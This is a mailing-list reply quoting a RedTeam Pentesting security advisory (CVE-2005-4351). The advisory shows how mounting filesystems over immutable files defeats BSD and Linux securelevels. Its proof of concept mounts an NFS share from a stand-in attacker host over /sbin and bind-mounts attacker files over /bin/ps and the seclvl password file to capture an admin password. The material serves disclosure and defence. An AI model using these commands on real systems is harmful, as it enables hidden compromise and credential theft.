On Mon, 9 Jan 2006, RedTeam Pentesting wrote: Hi,
Such an attack has been described in my DIMVA 2004 submission: http://www-rnks.informatik.tu-cottbus.de/~mm/sidar/dimva2004/materials/KrahmerSlides.pdf http://www.gi-ev.de/fachbereiche/sicherheit/fg/sidar/dimva/dimva2004/materials/KrahmerPaper.pdf l8er, Sebastian > Advisory: BSD Securelevels: Circumventing protection of files flagged > immutable > > By mounting an arbitrary filesystem, it is possible to mask files > flagged immutable with any user-defined files. > > > Details > ======= > > Product: FreeBSD up to 6.0-STABLE and 7.0-CURRENT > OpenBSD up to 3.8 > DragonFly up to 1.2 > Linux vanilla kernel up to 2.6.15 > Vulnerability Type: Filesystem privilege circumvention > Security-Risk: medium > Advisory-URL: > http://www.redteam-pentesting.de/advisories/rt-sa-2005-15.txt > Advisory-Status: public > CVE: CVE-2005-4351 > CVE-URL: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-4351 > > > Introduction > ============ > > BSD-Securelevels try to harden the system by restricting certain > functions. The FreeBSD manpage[1] states: "The kernel runs with five > different levels of security. Any super-user process can raise the > security level, but no process can lower it." > > While running a securelevel of one or greater, files having the > immutable flag cannot be changed anymore. Although files are protected > from being changed permanently, masking them at runtime is still > possible. > > > More Details > ============ > > While the behaviour described above seems to provide effective > protection against changing immutable files physically, the protection > can be circumvented at runtime. By mounting another filesystem, > immutable files can be masked. Masking means placing an arbitrary file > at the location of an immutable file, without changing the immutable > file itself. > Every access to the masked file through its path in the filesystem will > result in access to the masking file. This can be achieved by mounting > an > NFS or any other available filesystem on the directory where the > immutable file resides. At runtime an attacker could replace arbitrary > files. Although it is not possible to change the contents of immutable > files permanently, the impact is similar. > With Linux an attacker can even intercept the password input to lower > the security level masking /sys/seclvl/passwd. > > After searching mailinglist archives, we discovered that this problem > was already discussed[2,3,4] before, but with no real result. The > current behaviour is not good under security considerations. Especially > bad is that it still seems to be a common mispractise for administrators > to rely on securelevels to make it impossible for an attacker to change > the running system. Using the described technique it would be possible > to create a rootkit utilizing mount. > > > Proof of Concept > ================ > > The following example uses an NFS share but any other usable filesystem > also works. > > [EMAIL PROTECTED] ls -lo /sbin > total 4884 > -r-xr-xr-x 1 root wheel schg 7480 Nov 23 14:04 adjkerntz > -r-xr-xr-x 1 root wheel schg 13968 Nov 23 14:04 atacontrol > -r-xr-xr-x 1 root wheel schg 39828 Nov 23 14:04 atm > -r-xr-xr-x 1 root wheel schg 51772 Nov 23 14:04 atmconfig > -r-xr-xr-x 1 root wheel schg 7292 Nov 23 14:04 badsect > -r-xr-xr-x 2 root wheel schg 29336 Nov 23 14:04 bsdlabel > -r-xr-xr-x 1 root wheel schg 55972 Nov 23 14:04 camcontrol > -r-xr-xr-x 1 root wheel schg 10124 Nov 23 14:04 ccdconfig > -r-xr-xr-x 1 root wheel schg 5424 Nov 23 14:04 clri > [...] > > [EMAIL PROTECTED] mount -t nfs evil.host:/exported /sbin > [EMAIL PROTECTED] ls -lo /sbin > total 4884 > -r-xr-xr-x 1 root wheel - 8451 Nov 22 15:07 adjkerntz > -r-xr-xr-x 1 root wheel - 13485 Nov 22 15:07 atacontrol > -r-xr-xr-x 1 root wheel - 30957 Nov 22 15:07 atm > -r-xr-xr-x 1 root wheel - 51498 Nov 22 15:07 atmconfig > -r-xr-xr-x 1 root wheel - 7435 Nov 22 15:07 badsect > -r-xr-xr-x 2 root wheel - 24385 Nov 22 15:07 bsdlabel > -r-xr-xr-x 1 root wheel - 58591 Nov 22 15:07 camcontrol > -r-xr-xr-x 1 root wheel - 11585 Nov 22 15:07 ccdconfig > -r-xr-xr-x 1 root wheel - 6581 Nov 22 15:07 clri > [...] > > With Linux an attacker does not even have to mount a complete filesystem > but mount just a single file over an immutable file by using the > following command: > > [EMAIL PROTECTED] mount --bind /tmp/attacker_ps /bin/ps > > To intercept the password of seclvl with Linux, an attacker can use the > following: > > [EMAIL PROTECTED] mount --bind /tmp/getpass /sys/seclvl/passwd > > Any attempt to lower the securitylevel by an admin will store the > password > in /tmp/getpass. > > > Workaround > ========== > > A possible workaround is to disable mounting of filesystems completely > after booting. This can be achieved through hardening kernel extensions > like OpenBSD's systrace[5], FreeBSD's MAC security extensions[6] or > SELinux[7]. Administrators should furthermore not rely on securelevels > for protecting files in case of an attack. > > > Fix > === > > No fix is available at this time. The implementation of securelevels on > NetBSD was found to be not vulnerable to this attack. > No fix will be released for OpenBSD. To quote Theo de Raadt: > > "Sorry, we are going to change nothing. Securelevels are useless." > > FreeBSD is still discussing the issue and no further response from the > Linux maintainer has been received yet. > > > Security Risk > ============= > > This kind of attack provides a medium security risk. An attacker is able > to hide himself effectively on a compromised system by using the methods > described above. > > > Discussion > ========== > > While protecting data effectively against permanent tampering, the term > "Securelevels" should not contain the word secure. Securelevels do not > protect against system compromise and provide only limited security. To > restrict access to a system a more secure and flexible approach like > OpenBSD's systrace[5], FreeBSD's MAC Framework[6] or SELinux[7] should > be used. > > > History > ======= > > 2005-11-05 Problem discovered while testing a product of iPisec Ltd. > 2005-11-29 Discussed the issue with iPisec management and technicians > 2005-12-02 Contacted the maintainer of BSD-Securelevels on Linux > 2005-12-02 Response from the maintainer of BSD-Securelevels on Linux, he > wants to do what *BSD will be doing > 2005-12-04 Contacted the maintainers of different BSD derivates > 2005-12-05 Response from the FreeBSD Security Team - problem under > discussion > 2005-12-06 Response from the OpenBSD - problem will not be fixed > 2005-12-15 Forwarded the *BSD responses to the Linux maintainer > 2006-01-05 No further response from the Linux maintainer > 2006-01-09 Public release > > > References > ========== > > [1] http://www.freebsd.org/cgi/man.cgi?query=securelevel > [2] http://www.monkey.org/openbsd/archive/tech/9906/msg00149.html > [3] http://archives.neohapsis.com/archives/openbsd/2005-10/1523.html > [4] http://www.freebsd.org/cgi/query-pr.cgi?pr=kern/22142 > [5] http://www.citi.umich.edu/u/provos/systrace/index.html > [6] http://www.freebsd.org/doc/en_US.ISO8859-1/books/handbook/mac.html > [7] http://www.nsa.gov/selinux/index.cfm > > > RedTeam > ======= > > RedTeam offers interested business parties penetration tests to validate > their security. Doing security research RedTeam likes to enhance the > common knowledgebase in security related areas. More information about > RedTeam can be found at http://www.redteam-pentesting.de. > > -- ~ ~ perl self.pl ~ $_='print"\$_=\47$_\47;eval"';eval ~ [EMAIL PROTECTED] - SuSE Security Team ~ _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
